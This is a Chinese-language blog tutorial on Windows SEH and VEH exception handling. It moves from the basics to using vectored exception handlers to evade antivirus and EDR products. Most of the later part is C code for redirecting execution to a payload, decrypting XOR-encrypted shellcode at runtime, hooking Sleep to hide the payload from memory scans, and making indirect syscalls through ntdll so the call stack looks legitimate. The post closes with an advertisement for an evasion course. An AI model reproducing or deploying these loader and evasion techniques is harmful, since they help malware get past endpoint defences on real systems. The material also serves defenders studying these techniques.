从安全角度看 SEH 和 VEH
异常处理程序是处理程序中不可预见的错误的基本方法之一
-
https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/
SEH——结构化异常处理程序
就其工作方式而言,异常处理程序与其他处理程序相比相当基础,有一个 try 块用于包装不安全代码,还有一个 except 块用于在生成特定异常时进行处理。
在下面的代码中示例中,可以通过将 0 作为第二个输入来生成异常,因为除以零是系统生成的异常。这被包装在try
块中,过滤器代码会检查这是什么类型的异常,在这种情况下,如果是,EXCEPTION_INT_DIVIDE_BY_ZERO
将继续处理包装在except
块中的异常。
int main() { __try { int inp1 = 0, inp2 = 0; printf("第一个输入: "); scanf_s("%d", &inp1); printf("第二个输入: "); scanf_s("%d", &inp2); int result = inp1 / inp2; printf("结果: %d", result); } __except ((_exception_code() == EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() == EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { printf("触发的异常是: EXCEPTION_FLT_DIVIDE_BY_ZERO\n"); } return 0; }
从编译时开始。编译器生成有关异常的所有必要信息,异常类型,过滤器的位置和处理它的最终代码等,最后将它们内嵌到PE文件的异常框架中
VEH——向量异常处理程序
向量异常处理是结构化异常处理的扩展,这些处理程序使用回调函数机制工作。每当发生异常时,就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler
在程序中的任何位置注册回调。
需要注意的是,VEH 异常处理程序是全局注册的,并不与单个函数或单个堆栈框架绑定。由于向后兼容,系统首先调用所有 VEH 处理程序,如果所有处理程序均未执行该处理程序,则将其传递给 SEH。此外,VEH 以循环链接列表的形式实现。
PVOID AddVectoredExceptionHandler( ULONG First, PVECTORED_EXCEPTION_HANDLER Handler );
winAPI 有两个参数,
-
第一个参数定义处理函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处理程序。
-
第二个参数是要注册的回调函数的指针。
回调函数定义如下
PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler; LONG PvectoredExceptionHandler( [in] _EXCEPTION_POINTERS *ExceptionInfo )
第一个参数中指向结构的指针定义如下
typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
该结构包含两个主要成员:
结构体中的第一个指针指向结构体EXCEPTION_RECORD
里面包含定义的异常的详细信息
ExceptionRecord
定义如下:
typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord; PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
第一个元素是最常用的,它包含产生了什么类型的异常,例如STATUS_INTEGER_DIVISION_BY_ZERO
。
第二个指针指向结构CONTEXT
,其中包含异常发生时CPU上下文的所有细节。这个结构非常重要,因为它可以允许读取和写回数据,一旦执行恢复,这些数据将直接在CPU上应用。这是因为当异常处理程序完成其执行时,系统将根据返回值继续搜索异常或继续执行进程。
当系统继续执行进程时,它调用RtlRestoreContext winAPI来恢复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的,安全产品通常不会检测到这种CPU状态覆盖。
VEH 的使用非常简单:
注册一个名为VEHHandler()的处理程序,它将成为VEH异常列表中的全局处理程序。这个处理程序负责检查发生的异常是否是想要的异常。
LONG WINAPI VEHHandler( struct _EXCEPTION_POINTERS* ExceptionInfo ) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) { printf("触发的异常是: STATUS_INTEGER_DIVIDE_BY_ZERO\n"); } return EXCEPTION_CONTINUE_EXECUTION; } int main() { PVOID h1 = AddVectoredExceptionHandler(1, VEHHandler); int inp1 = 0, inp2 = 0; printf("第一个输入: "); scanf_s("%d", &inp1); printf("第二个输入: "); scanf_s("%d", &inp2); int result = inp1 / inp2; printf("结果: %d", result); RemoveVectoredExceptionHandler(h1); return 0; }
与SEH不同,VEH可以被认为是一种运行时机制,因为处理程序是在运行时过程中的任何地方注册和删除的。
异常处理技术在绕过防护机制中的应用
执行payload
由于可以访问 context 结构,所以可以直接修改 RIP 寄存器的内容以指向想要的任何位置,这意味着可以进行间接调用。
void myFunction() { //payload.......... printf("[*] myFunction() Called\n"); } LONG WINAPI testHandler( struct _EXCEPTION_POINTERS* ExceptionInfo ) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) { ULONG64 Offset = 0x1000; HMODULE BaseAddress = GetModuleHandleA(NULL); printf("[*]进程基地址: %#llx\n", (ULONG64)BaseAddress); ULONG64 FunctionAddress = (ULONG64)BaseAddress + Offset; printf("[*] myFunction地址: %#llx\n", (ULONG64)FunctionAddress); ExceptionInfo->ContextRecord->Rip = (DWORD64)FunctionAddress; } return EXCEPTION_CONTINUE_EXECUTION; } int main() { PVOID h1 = AddVectoredExceptionHandler(1, testHandler); int inp1 = 0, inp2 = 0; int result = inp1 / inp2; RemoveVectoredExceptionHandler(h1); return 0; }
运行时代码解密+规避内存扫描
使用异常EXCEPTION_ACCESS_VIOLATION,该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中,全局变量不是可执行内存区域,所以可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。
#define XOR_KEY 0x66 char encode_shellcode[] = "\x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13.................."; LONG WINAPI testHandler( struct _EXCEPTION_POINTERS* ExceptionInfo ) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) { printf("[*] 进入异常处理\n"); DWORD flOldProtect; for (int i = 0; i < sizeof(enc_shellcode); i++) { encode_shellcode[i] ^= XOR_KEY; } BOOL res = VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, &flOldProtect); if (res == TRUE) { printf("[*] 执行权限改为 PAGE_EXECUTE\n"); } } return EXCEPTION_CONTINUE_EXECUTION; } int main() { PVOID h1 = AddVectoredExceptionHandler(1, testHandler); (*(void (*)()) & encode_shellcode)(); RemoveVectoredExceptionHandler(h1); return 0; }
然后再Hook Sleep函数,将功能模块的内存属性改为不可执行,便可规避后续的内存扫描。
static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) = Sleep; void WINAPI NewCustomSleep(DWORD dwMilliseconds) { if (CustomFlag) { VirtualFree(customShellcodeAddr, 0, MEM_RELEASE); CustomFlag = false; } printf("custom sleep time:%d\n", dwMilliseconds); unhookCustomSleep(); OrigSleep(dwMilliseconds); hookCustomSleep(); } void hookCustomSleep() { DWORD dwOldProtect = NULL; BYTE pCustomData[5] = { 0xe9,0x0,0x0,0x0,0x0 }; RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData)); DWORD dwCustomOffset = (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5; RtlCopyMemory(&pCustomData[1], &dwCustomOffset, sizeof(dwCustomOffset)); VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData)); VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect); } void unhookCustomSleep() { DWORD dwOldProtect = NULL; VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep)); VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect); }
运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘,可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现,读者可以尝试
间接系统调用
与上面提到的可能性类似,也可以修改RIP,用ntdll.dll库中的地址覆盖它,以执行间接的系统调用。
系统调用由寄存器 RAX 控制,其中包含称为 SSN(系统服务编号)
HOOK技术是AV/EDR常用的检测机制,尽管使用syscall可以绕过检测,但这导致了另一种可能的检测机制。在自己的程序中使用系统调用称为直接系统调用技术,而从其他进程(如库本身)调用系统调用称为间接系统调用技术。
当在自己的程序中使用系统调用时,通常可以通过简单的签名被检测到(通过检查系统调用的来源),系统调用的返回地址应该是通过合法的源(如ntdll.dll本身)发生的,但是如果不是这样,它就会发出一个主要的危险信号。这是可以避免的,可以使用向量异常处理进行间接系统调用,这种技术提供了一个看起来非常合法的调用堆栈。这有助于大大降低被发现的可能性
最简单的方法是利用异常STATUS_ACCESS_VIOLATION,该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中,在本例中是0x18,它对应于系统调用ntallocatvirtualmemory,然后将其转换为函数并调用它。本质上,它调用地址0x18的函数,这显然不是一个有效的地址。这反过来会生成STATUS_ACCESS_VIOLATION异常。现在要将参数传递给函数,只需像调用其他函数一样调用存储SSN的变量,上下文将包含传递的参数。
一旦生成异常,就可以模拟系统调用指令,就像在ntdll.dll中找到它一样,并将控制流更改为dll中的系统调用地址。
typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) ( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect ); ULONG_PTR FindSyscallAddr() { FARPROC fnDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText"); BYTE* ptr_sysaddr = (BYTE*)(fnDrawText); BYTE sig_syscall[] = { 0x0f, 0x05, 0xc3 }; int cnt_sig = 0, cnt_fn = 0; while (TRUE) { if (ptr_sysaddr[cnt_fn] == sig_syscall[cnt_sig]) { cnt_fn++; cnt_sig++; if (cnt_sig == sizeof(sig_syscall)) { ptr_sysaddr += cnt_fn - sizeof(sig_syscall); break; } } else { cnt_fn = cnt_fn - cnt_sig + 1; cnt_sig = 0; } } return (ULONG_PTR)ptr_sysaddr; } LONG WINAPI testHandler( struct _EXCEPTION_POINTERS* ExceptionInfo ) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) { ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx; DWORD64 ssn = ExceptionInfo->ContextRecord->Rip; printf("[*] Syscall Number: %#x\n", (INT32)ssn); ExceptionInfo->ContextRecord->Rax = ssn; ULONG_PTR SyscallAddr = FindSyscallAddr(); ExceptionInfo->ContextRecord->Rip = SyscallAddr; return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } int main() { PVOID h1 = AddVectoredExceptionHandler(1, testHandler); pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)0x18; PVOID retAddr = NULL; ULONG size = 0x1000; NtAllocateVirtualMemory(GetCurrentProcess(), &retAddr, NULL, (PULONG)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (retAddr == NULL) { printf("[!] NtAllocateVirtualMemory Failed\n"); } else { printf("[*] NtAllocateVirtualMemory Success: %#llx\n", (ULONG64)retAddr); } RemoveVectoredExceptionHandler(h1); return 0; }
大家伙,如果想学习更多的知识,可以看我们的论坛:
哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制